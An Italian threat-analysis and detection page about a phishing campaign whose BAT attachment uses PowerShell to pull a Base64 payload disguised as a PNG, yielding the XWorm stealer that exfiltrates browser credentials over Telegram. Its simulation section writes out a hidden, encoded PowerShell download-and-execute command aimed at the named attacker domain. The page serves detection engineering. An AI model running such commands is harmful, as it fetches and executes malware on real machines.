Script Maligno che Consegna piĂą MalignitĂ
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una email di phishing consegna un allegato malevolo contenente uno script BAT che lancia PowerShell per scaricare un payload codificato in Base64. Dopo la decodifica, il payload risolve in XWorm, un ladro .NET che acquisisce le impronte digitali dell’host ed esfiltra i dati raccolti tramite un bot Telegram. La persistenza viene stabilita creando un’attivitĂ pianificata che esegue ripetutamente l’eseguibile distribuito. L’operazione si basa su molteplici elementi infrastrutturali, compresi un esca di hosting immagini fasulla e almeno un IP compromesso utilizzato per la staging del payload.
Indagine
Il riesame dello script BAT ha mostrato un one-liner PowerShell che recupera un file apparentemente PNG da un dominio controllato dall’attaccante. Il contenuto in Base64 incorporato viene quindi ripulito, invertito e decodificato per ricostruire l’eseguibile .NET. L’analisi binaria ha mostrato che il malware registra un’attivitĂ pianificata chiamata Chromiumx2 e utilizza l’API di Telegram per comando e controllo ed esfiltrazione dei dati. Gli investigatori hanno estratto indicatori di rete chiave, tra cui il dominio host, l’indirizzo IP associato e l’endpoint API Telegram referenziato durante l’esecuzione.
Mitigazione
Impedisci l’esecuzione di contenuti BAT e PowerShell non attendibili provenienti da allegati email o directory di download degli utenti. Applica una lista di permessi per le applicazioni per restringere la creazione di attivitĂ pianificate e segnala nuove registrazioni di attivitĂ sospette. Monitora e, dove possibile, restringi l’accesso in uscita agli endpoint API di Telegram e blocca i domini malevoli identificati a livello di DNS/proxy. Mantieni aggiornati i rilevamenti degli endpoint con i nuovi indicatori osservati e i modelli di download basati su script.
Risposta
Isola gli endpoint dove si osservano il task pianificato Chromiumx2 o Chromiumx2.exe. Rimuovi il task pianificato, elimina il binario malevolo e raccogli artefatti (script, payload decodificato, XML del task e log rilevanti) per un’indagine forense. Caccia nell’ambiente per lo stesso nome di task, comportamento di decodifica PowerShell simile e traffico guidato da Telegram. Resetta le credenziali potenzialmente esposte e notifica agli utenti dell’allegato di phishing per ridurre l’esecuzione ripetuta.
graph TB %% Definizioni delle classi classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Nodi initial_access[“<b>Tecnica</b> – T1566.001 Allegato di Spearphishing<br/><b>Descrizione</b>: L’attaccante invia un’email malevola con un allegato .bat.”]:::technique attachment_file[“<b>File</b> – malicious_attachment.bat<br/><b>Scopo</b>: Rilascia un’immagine PNG che contiene shellcode nascosto.”]:::file masquerading[“<b>Tecnica</b> – T1036.008 Mascheramento del tipo di file<br/><b>Descrizione</b>: PNG denominato optimized_MSI.png contiene in realtĂ shellcode delimitato da BaseStart- e -BaseEnd.”]:::technique png_image[“<b>File</b> – optimized_MSI.png<br/><b>Contenuto</b>: Shellcode incorporato con delimitatori.”]:::file user_execution[“<b>Tecnica</b> – T1204 Esecuzione da parte dell’utente<br/><b>Descrizione</b>: La vittima esegue il file batch malevolo.”]:::technique powershell_exec[“<b>Tecnica</b> – T1059.001 PowerShell<br/><b>Descrizione</b>: Decodifica dati Base64, inverte stringhe esadecimali ed esegue shellcode.”]:::technique obfuscation[“<b>Tecniche</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Descrizione</b>: Payload contaminato con junk, hex invertito, compilazione dinamica, steganografia e risoluzione dinamica delle API.”]:::technique c2_communication[“<b>Tecniche</b> – T1059.009 API Cloud, T1102.002 Servizio Web Bidirezionale, T1102.003 Unidirezionale<br/><b>Descrizione</b>: Backdoor .NET utilizza Telegram Bot API per comando e controllo.”]:::c2 telegram_api[“<b>Strumento</b> – Telegram Bot API<br/><b>Endpoint</b>: api.telegram.org”]:::tool persistence[“<b>Tecniche</b> – T1543 Creazione o Modifica di Processo di Sistema, T1546.002 Esecuzione Attivata da Evento, T1547.014 Active Setup<br/><b>Descrizione</b>: AttivitĂ pianificata \”Chromiumx2\” eseguita ogni minuto; salvaschermo e Active Setup forzano l’esecuzione.”]:::technique scheduled_task[“<b>Processo</b> – schtasks<br/><b>AttivitĂ </b>: Chromiumx2”]:::process priv_esc[“<b>Tecniche</b> – T1055 Iniezione di Processo, T1574 Dirottamento del Flusso di Esecuzione<br/><b>Descrizione</b>: Shellcode iniettato in un processo legittimo per ottenere privilegi elevati.”]:::technique process_injection[“<b>Processo</b> – Processo legittimo<br/><b>Obiettivo</b>: Riceve shellcode iniettato.”]:::process credential_access[“<b>Tecniche</b> – T1555.003 Credenziali dai Browser Web, T1539 Furto dei Cookie di Sessione Web<br/><b>Descrizione</b>: Injector Chrome raccoglie password, cookie e altri dati del browser.”]:::technique chrome_injector[“<b>Malware</b> – Chrome Injector<br/><b>Funzione</b>: Estrae credenziali memorizzate e cookie di sessione.”]:::malware discovery[“<b>Tecnica</b> – T1217 Scoperta delle Informazioni del Browser<br/><b>Descrizione</b>: Enumera i percorsi dei profili Chrome e le credenziali memorizzate.”]:::technique exfiltration[“<b>Tecnica</b> – T1041 Esfiltrazione tramite Canale C2<br/><b>Descrizione</b>: Credenziali e informazioni di sistema vengono esfiltrate tramite Telegram.”]:::technique lateral_movement[“<b>Tecniche</b> – T1080 Contaminazione di Contenuto Condiviso, T1210 Sfruttamento di Servizi Remoti<br/><b>Descrizione</b>: Download di payload aggiuntivi per possibile propagazione.”]:::technique additional_payload[“<b>File</b> – buildingmoney.txt<br/><b>Scopo</b>: Contiene ulteriore codice malevolo per il movimento laterale.”]:::file %% Connessioni initial_access –>|consegna| attachment_file attachment_file –>|crea| masquerading masquerading –>|produce| png_image png_image –>|usato da| user_execution user_execution –>|attiva| powershell_exec powershell_exec –>|esegue| obfuscation obfuscation –>|contatta| c2_communication c2_communication –>|usa| telegram_api c2_communication –>|stabilisce| persistence persistence –>|crea| scheduled_task scheduled_task –>|esegue| priv_esc priv_esc –>|inietta in| process_injection process_injection –>|consente| credential_access credential_access –>|implementato da| chrome_injector chrome_injector –>|raccoglie| discovery discovery –>|alimenta| exfiltration exfiltration –>|invia dati tramite| c2_communication c2_communication –>|scarica| additional_payload additional_payload –>|abilita| lateral_movement
Flusso d’Attacco
Rilevazioni
Possibile abuso di Telegram come canale di comando e controllo (via dns_query)
Visualizza
Processo sospetto utilizza un URL nella riga di comando (via cmdline)
Visualizza
Scarica o carica tramite Powershell (via cmdline)
Visualizza
Schtasks indica directory / binario / script sospetto (via cmdline)
Visualizza
Stringhe PowerShell sospette (via powershell)
Visualizza
File sospetti nel profilo utente pubblico (via file_event)
Visualizza
Stringhe PowerShell sospette (via cmdline)
Visualizza
Possibile uso di Schtasks o AT per persistenza (via cmdline)
Visualizza
IOC (SourceIP) da rilevare: Script malevolo che distribuisce altri contenuti malevoli
Visualizza
IOC (DestinationIP) da rilevare: Script malevolo che distribuisce altri contenuti malevoli
Visualizza
Creazione di AttivitĂ Pianificata per la Persistenza di Chromiumx2 [Creazione Processo Windows]
Visualizza
Rileva il rilevamento del payload codificato in Base64 tramite PowerShell [PowerShell Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-flight di Telemetria e Baseline deve essere superato.
-
Narrazione dell’Attacco & Comandi:
L’attaccante desidera scaricare ed eseguire un payload malevolo da un server web compromesso. Per eludere il rilevamento con firma classica, incorpora l’intera logica di download ed esecuzione in una singola stringa Base64 e invoca PowerShell con-EncodedCommand. Il comando fa riferimento all’URL esatto monitorato dalla regola di rilevamento (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codifica il payload malevolo (un semplice downloader che esegue lo script ricevuto):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64B64 risultante (esempio):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(troncato). -
Esegui il comando codificato:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Questa singola riga genera esattamente la telemetria che la regola Sigma si aspetta: un processo PowerShell, il
-EncodedCommandflag e l’URL malevolo all’interno del blocco di script decodificato. -
-
Script di Test di Regressione:
#------------------------------------------------- # Script di regressione per attivare la regola di rilevamento #------------------------------------------------- # 1. Costruisci il payload malevolo $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Esegui il payload tramite un comando PowerShell codificato Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificato malevolo eseguito." #------------------------------------------------- -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei (nessuno previsto perché il payload viene trasmesso direttamente) # Termina eventuali processi PowerShell nascosti persistenti avviati dal test Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Pulizia completata."